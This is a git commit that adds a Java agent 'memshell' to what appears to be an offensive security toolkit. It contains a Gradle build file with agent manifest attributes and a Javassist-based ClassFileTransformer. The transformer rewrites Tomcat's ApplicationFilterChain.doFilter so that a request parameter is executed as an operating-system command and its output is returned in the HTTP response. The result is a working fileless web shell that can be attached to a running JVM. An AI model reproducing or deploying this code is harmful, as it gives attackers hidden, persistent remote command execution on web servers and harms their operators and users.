feat: add three implementations for agent memshell

This commit is contained in:
ReaJason
2025-04-06 13:55:17 +08:00
parent 02c7abd086
commit bc9ce37a52
8 changed files with 295 additions and 57 deletions
@@ -1,15 +1,31 @@
plugins {
id 'java'
id 'com.github.johnrengelman.shadow' version '8.1.1'
}
group = 'com.reajason.javaweb'
version = '1.0.0'
dependencies {
testImplementation platform('org.junit:junit-bom:5.10.0')
testImplementation 'org.junit.jupiter:junit-jupiter'
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_6
targetCompatibility = JavaVersion.VERSION_1_6
}
test {
useJUnitPlatform()
}
dependencies {
implementation 'org.javassist:javassist:3.30.2-GA'
}
jar {
manifest {
attributes 'Premain-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
attributes 'Agent-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
attributes 'Can-Redefine-Classes': true
attributes 'Can-Retransform-Classes': true
attributes 'Can-Set-Native-Method-Prefix': true
}
}
jar.finalizedBy shadowJar
@@ -0,0 +1,66 @@
package com.reajason.javaweb.memshell.agent;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.io.ByteArrayInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
public class CommandFilterChainTransformer implements ClassFileTransformer {
private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain";
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
try {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new javassist.LoaderClassPath(loader));
CtClass cc = pool.makeClass(new ByteArrayInputStream(bytes), true);
CtMethod doFilter = cc.getDeclaredMethod("doFilter");
String code =
"String paramName = \"paramName\";" +
"try {" +
" String cmd = $1.getParameter(paramName);" +
" if (cmd != null) {" +
" Process exec = Runtime.getRuntime().exec(cmd);" +
" java.io.InputStream inputStream = exec.getInputStream();" +
" byte[] buf = new byte[8192];" +
" int length;" +
" while ((length = inputStream.read(buf)) != -1) {" +
" $2.getOutputStream().write(buf, 0, length);" +
" }" +
" return;" +
" }" +
"} catch (Exception ignored) {}";
doFilter.insertBefore(code);
byte[] transformedBytes = cc.toBytecode();
cc.detach();
return transformedBytes;
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
public static void premain(String args, Instrumentation inst) {
inst.addTransformer(new CommandFilterChainTransformer(), true);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
inst.addTransformer(new CommandFilterChainTransformer(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
}
}
}
}